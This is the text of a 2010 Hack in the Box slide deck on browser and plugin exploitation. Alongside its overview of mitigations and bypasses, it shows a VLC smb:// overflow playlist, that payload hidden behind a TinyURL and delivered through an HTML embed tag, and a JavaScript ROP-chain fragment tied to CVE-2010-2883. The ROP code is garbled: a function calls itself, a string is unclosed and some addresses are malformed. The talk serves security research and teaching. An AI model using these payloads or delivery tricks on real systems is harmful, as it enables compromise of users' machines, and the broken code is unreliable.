W.E.B. 2010
Web . Exploits . Browsers

Saumil Shah
Hack in the Box - Kuala Lumpur 2010
# who am i

- Saumil Shah, CEO Net-square
- LinkedIn: saumilshah
Browser Wars
Death of Standards
HTTP +0.1
Reckless Plugins
LOOK AT ALL THE COOL STUFF!!
Wider Attack Surface
Ease of Exploitation

With JIT! Fights DEP, ASLR!

net-square
Mass Manufacturing

Worldwide coverage, Hides your tracks.
Complexity...

...as never seen before!
A New Dimension!

GUARANTEED!!
Fresh new bugs,
Present on most computers
Exploit Mitigation Techniques
/GS
SafeSEH
DEP
ASLR
Permanent DEP
ASLR and DEP
SEH overwrites
non-SEH DLLs
Return to LibC
Heap Sprays
ROP
JIT Sprays
I can haz sandbox

I Also Can!
Sploit Time!

IM IN UR BASE

KILLING UR DOODZ
See no EVAL

CVE 2010-2883

(0+1)day exploit

Obfuscated Javascript decoded without using eval, document.write, etc.
Who you gonna call?
YER NOT ON THE LIST!
COME ON IN.
These are not the sploitz you're looking for.
0-day to the Face!

"To get our new signature files you need a valid support plan."
...and keep on patching
We Broked Teh Webz!

HTML

Standards... What Standards?

Object access  JS too powerful  SRC=

HTTP

Old and idiotic

Stateless  No Auth  Bursty
The Web at present

HTTP
HTML
AJAX
Flash
Sandbox
HTML5
Anti-XSS
WAF
Silverlight
Web sockets

Application Delivery

Authentication
Statefulness
Data Typing
Non-mutable

MIND THE GAP
Sploit Time!
Making the impossible possible
<?xml version="1.0" encoding="UTF-8"?>
<playlist version="1"
    xmlns="http://xspf.org/ns/0/"
    xmlns:vlc="http://www.videolan.org/vlc/playlist/ns/0/">
    <title>Playlist</title>
    <trackList>
        <track>
            <location>
                smb://example.com@0.0.0.0/foo/#{AAAAAAAAA...} </location>
            <extension
                application="http://www.videolan.org/vlc/playlist/0">
                <vlc:id>0</vlc:id>
            </extension>
        </track>
    </trackList>
</playlist>
...just add bit.ly
Alpha Encoded Exploit + Tiny URL = ZOMFG
TinyURL was created!

The following URL:

```
smb://example.com@0.0.0.0/foo/?(AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
```

has a length of 989 characters and resulted in the following TinyURL which has a length of 26 characters:

```
http://tinyurl.com/ycctrze
```

Or, give your recipients confidence with a preview TinyURL:

```
http://preview.tinyurl.com/ycctrze
```

This TinyURL may have been copied to your clipboard. (This no longer works for those who have upgraded to Flash 10.) To paste it in a document, press and hold down the ctrl key (command key for Mac users) while pressing the V key, or choose the "paste" option from the edit menu.
VLC smb overflow - HTMLized!!

<embed type="application/x-vlc-plugin" width="320" height="200" target="http://tinyurl.com/ycctrzf" id="vlc" />

I'm in ur browser....

...blowin up ur g00dz
I'm an evil Javascript

I'm an innocent image
function packv(n) { var s = new Number(n).toString(16); while (s.length < 8) s = "0" + s; return unescape("%u" + s.substring(4, 8) + "%u" + s.substring(0, 4)); }

var addressof = new Array();
addressof["ropnop"] = 0x6d81bdf0; addressof["xchg_eax_esp_ret"] = 0x6d81bdef; addressof["pop_eax_ret"] = 0x6d906744; addressof["pop_ecx_ret"] = 0x6d81cd57; addressof["mov_peax_ecx_ret"] = 0x6d979720; addressof["mov_eax_pecx_ret"] = 0x6d8d7be0; addressof["mov_pecx_eax_ret"] = 0x6d8ee01; addressof["inc_eax_ret"] = 0x6d838f54; addressof["add_eax_4_ret"] = 0x00000000; addressof["call_peax_ret"] = 0x6d8aecc31; addressof["add_esp_24_ret"] = 0x00000000; addressof["popad_ret"] = 0x6d82a8a1; addressof["call_peax"] = 0x6d802597;

function call_ntallocatevirtualmemory(baseptr, size, callnum) {
    var ropnop = packv(addressof["ropnop"]) ;
    var pop_eax_ret = packv(addressof["pop_eax_ret"]) ;
    var pop_ecx_ret = packv(addressof["pop_ecx_ret"]) ;
    var mov_peax_ecx_ret = packv(addressof["mov_peax_ecx_ret"]) ;
    var mov_eax_pecx_ret = packv(addressof["mov_eax_pecx_ret"]) ;
    var mov_pecx_eax_ret = packv(addressof["mov_pecx_eax_ret"]) ;
    var inc_eax_ret = packv(addressof["inc_eax_ret"]) ;
    var add_eax_4_ret = packv(addressof["add_eax_4_ret"]) ;
    var call_peax_ret = packv(addressof["call_peax_ret"]) ;
    var add_esp_24_ret = packv(addressof["add_esp_24_ret"]) ;
    var popad_ret = packv(addressof["popad_ret"]) ;
    var retval = ";

    call_ntallocatevirtualmemory(baseptr, size, calnum) ;
    ropnop(0x6d81bdf0) ;
    ropnop(0x6d906744) ;
    ropnop(0x6d81cd57) ;
    ropnop(0x6d979720) ;
    ropnop(0x6d8d7be0) ;
    ropnop(0x6d8ee01) ;
    ropnop(0x6d838f54) ;
    ropnop(0x00000000) ;
    ropnop(0x6d8aecc31) ;
    ropnop(0x00000000) ;
    ropnop(0x6d82a8a1) ;
    ropnop(0x6d802597) ;
"
The Solution?

- HTML 8.0
- HTTP 2.0
- Browser Security Model
- Self Contained Apps
shoutz...

• L33tdawg, Amy, cbelinda
• KUL volunteerz
• NL crew
• Paul Vixie